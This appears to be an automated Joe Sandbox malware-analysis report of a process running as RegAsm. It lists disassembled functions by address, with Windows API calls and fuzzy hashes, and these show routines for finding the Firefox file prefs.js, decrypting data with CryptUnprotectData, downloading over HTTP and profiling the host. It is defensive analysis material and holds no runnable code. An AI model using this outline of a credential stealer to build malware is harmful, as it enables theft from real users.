Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 7ebbe7cd5ae137c84f6db4280ba686d5fb98fb500678c966dc28e9bd808766c2
Instruction ID: 51e7ee45db09aa5f39b002a0c415dffe3bc9b22f3a493195af03bb486277efdd
Opcode Fuzzy Hash: 7ebbe7cd5ae137c84f6db4280ba686d5fb98fb500678c966dc28e9bd808766c2
Instruction Fuzzy Hash: 00B17571901108ABCB24FF61DC56FEE7379AF54314F0081BEA40A57191EF386B99CB9A

Function 0040D8C0 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00421454,00420B96), ref: 0040D92B
StrCmpCA.SHLWAPI(?,00421458), ref: 0040D973
StrCmpCA.SHLWAPI(?,0042145C), ref: 0040D989
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040DC0C
FindClose.KERNEL32(000000FF), ref: 0040DC1E

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 9f70424f6231f11fb0d5a48a1b83654233540cff257d080df1dc6a4574cdc3e8
Instruction ID: be130f63dcff9d07870f4f5a4cae658f80ac6a3b159c82c28f33fed987b29411
Opcode Fuzzy Hash: 9f70424f6231f11fb0d5a48a1b83654233540cff257d080df1dc6a4574cdc3e8
Instruction Fuzzy Hash: 23914672900204A7CB14FBB1DC56DED737DAF94354F00866EF80A66191EE389B5C8B9B

Function 00405000 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040501A
RtlAllocateHeap.NTDLL(00000000), ref: 00405021
InternetOpenA.WININET(00420DC7,00000000,00000000,00000000,00000000), ref: 0040503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405061
InternetReadFile.WININET(004159BB,?,00000400,00000000), ref: 00405091
memcpy.MSVCRT ref: 004050DA
InternetCloseHandle.WININET(004159BB), ref: 00405109
InternetCloseHandle.WININET(?), ref: 00405116

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: 6aa4e4764504baa45ad82d2a162e469cf3d52142c6fc492667b66ae45fd2a33c
Instruction ID: 839bf57ea29f75d8981f3e40a03c3eb3ba9ac3aa2e1ac21d7b315b502f3c448d
Opcode Fuzzy Hash: 6aa4e4764504baa45ad82d2a162e469cf3d52142c6fc492667b66ae45fd2a33c
Instruction Fuzzy Hash: 1D31E9B4A00618ABDB20CF54DD85BDDB7B5EF48304F5081E9BA09A7281C7746AC68F99

Function 0040E270 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420C1F), ref: 0040E2E2
StrCmpCA.SHLWAPI(?,0042149C), ref: 0040E332
StrCmpCA.SHLWAPI(?,004214A0), ref: 0040E348
FindNextFileA.KERNEL32(000000FF,?), ref: 0040EA1F

Strings

\*.*, xrefs: 0040E28D
.@, xrefs: 0040EA35, 0040E42B, 0040E55C, 0040E69B, 0040E2F9, 0040E42E, 0040E55F, 0040E69E

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: .@$\*.*
API String ID: 433455689-1178718010
Opcode ID: 7539e1dafe2576d0ec3c7b90cf75903e9b92a90f1f4aa7dc7cae274ad1b404d6
Instruction ID: 20f818950e8166c8af1a449285f1ab07a785d4baccce5c5ed3abadeee2d63442
Opcode Fuzzy Hash: 7539e1dafe2576d0ec3c7b90cf75903e9b92a90f1f4aa7dc7cae274ad1b404d6
Instruction Fuzzy Hash: BE125331911118ABCB14FB61DC5AEED7338AF54314F4045AEB90B62091EF786FD8CB9A

Function 00401710 Relevance: 11.0, APIs: 5, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00425004,?,00401F6C,?,004250AC,?,?,00000000,?,00000000), ref: 00401963
StrCmpCA.SHLWAPI(?,00425154), ref: 004019B3
StrCmpCA.SHLWAPI(?,004251FC), ref: 004019C9
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E60
FindClose.KERNEL32(000000FF), ref: 00401E72

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Strings

\*.*, xrefs: 00401831

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: \*.*
API String ID: 3334442632-1173974218
Opcode ID: 01616e6767852872636f75ce0b4157d569362e80481413e8ecc9a543de765ad7
Instruction ID: 16b9519e73a2a048c1aa4c2f75882a05a68b4b793ed3d445f0fb30e7c05d6763
Opcode Fuzzy Hash: 01616e6767852872636f75ce0b4157d569362e80481413e8ecc9a543de765ad7
Instruction Fuzzy Hash: 83123F71911118ABCB15FB61CC96EEE7338AF54314F4041AEB50B62091EF786BD8CF9A

Function 00417630 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

GetKeyboardLayoutList.USER32(00000000,00000000,0042059F), ref: 00417681
LocalAlloc.KERNEL32(00000040,?), ref: 00417699
GetKeyboardLayoutList.USER32(?,00000000), ref: 004176AD
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417702
LocalFree.KERNEL32(00000000), ref: 004177C2

Strings

/ , xrefs: 0041771F

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 8c7534a5aa430826be94db3af5ff16ec8bded031094cfbd263b1c09c86117a76
Instruction ID: c1db32f68e501b8527b0747275b78d72b64e7f1ab46943026d097e8974929a8d
Opcode Fuzzy Hash: 8c7534a5aa430826be94db3af5ff16ec8bded031094cfbd263b1c09c86117a76
Instruction Fuzzy Hash: 49418F71941118ABCB24DF94DC89FEEB374FB54314F2041DAE40A62191DB782F85CFA5

Function 00418120 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041816A
Process32First.KERNEL32(?,00000128), ref: 0041817E
Process32Next.KERNEL32(?,00000128), ref: 00418193

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindCloseChangeNotification.KERNEL32(?), ref: 00418201

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 3491751439-0
Opcode ID: c94bff1423a495308c6edbf30cda1505aa293fe0cec0639f5e0f22e09d93e3d2
Instruction ID: 6084a3a81ad9197a86b05fcc5bdad381a42aa545a74b9a2169b69cd5b8afd334
Opcode Fuzzy Hash: c94bff1423a495308c6edbf30cda1505aa293fe0cec0639f5e0f22e09d93e3d2
Instruction Fuzzy Hash: 8E319E71902218ABCB24EF95DC45FEEB778EF04710F10419EE50AA21A0DF386E85CFA5

Function 00409BB0 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409BD4
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BF3
memcpy.MSVCRT ref: 00409C16
LocalFree.KERNEL32(?), ref: 00409C23

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: 7bf331572f1629f969e766ff9da9bf80e1d95d1acc3dba2254ec725ed3047747
Instruction ID: 89a0ba0d6d0461e137ce63e6e87bc55d2f461512d11096c1476870e855060961
Opcode Fuzzy Hash: 7bf331572f1629f969e766ff9da9bf80e1d95d1acc3dba2254ec725ed3047747
Instruction Fuzzy Hash: 7111E8B8A00209DFCB04DF94D984AAEB7B6FF88300F108569E915A7390D730AE51CF65

Function 004174D0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00EF1CB0,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,00EF1CB0,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041750A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00EF1CB0,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041751D
wsprintfA.USER32 ref: 00417557

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction ID: e353cc71a305f1a8f1a8746e49c408d3a80ec80c51124973b3d8e1cf6413b4f4
Opcode Fuzzy Hash: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction Fuzzy Hash: 4111E1B1E05618EBEB20CF54DC45FA9B779FB00720F10039AF50A932D0C7785A85CB55

Function 004172F0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 964d200717a0df2f3f62487d6067e07b9107b608128a919957ff18d07be4aa47
Instruction ID: d97db1a59c4db881a004fd13fa95f43a4b4e799dc382b7b3ddd968380e0460c3
Opcode Fuzzy Hash: 964d200717a0df2f3f62487d6067e07b9107b608128a919957ff18d07be4aa47
Instruction Fuzzy Hash: B6F04FB1944648AFC710DF98DD45BAEBBB9FB08B21F10021AFA15A3690C7745545CBA1

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004164B7,00420ADA), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: fb17d3f43d2abce587f83b1d922277e93116013ddf9f148f75be850ad6644e92
Instruction ID: 6710e554edad90447a57410479f56be173a40300ace114c8cd68aa34356edfab
Opcode Fuzzy Hash: fb17d3f43d2abce587f83b1d922277e93116013ddf9f148f75be850ad6644e92
Instruction Fuzzy Hash: 17D05E74D0020CDBCB14DFE09A49ADDBB7AAB0D321F001656ED0572240DA305446CA65

Function 00410090 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
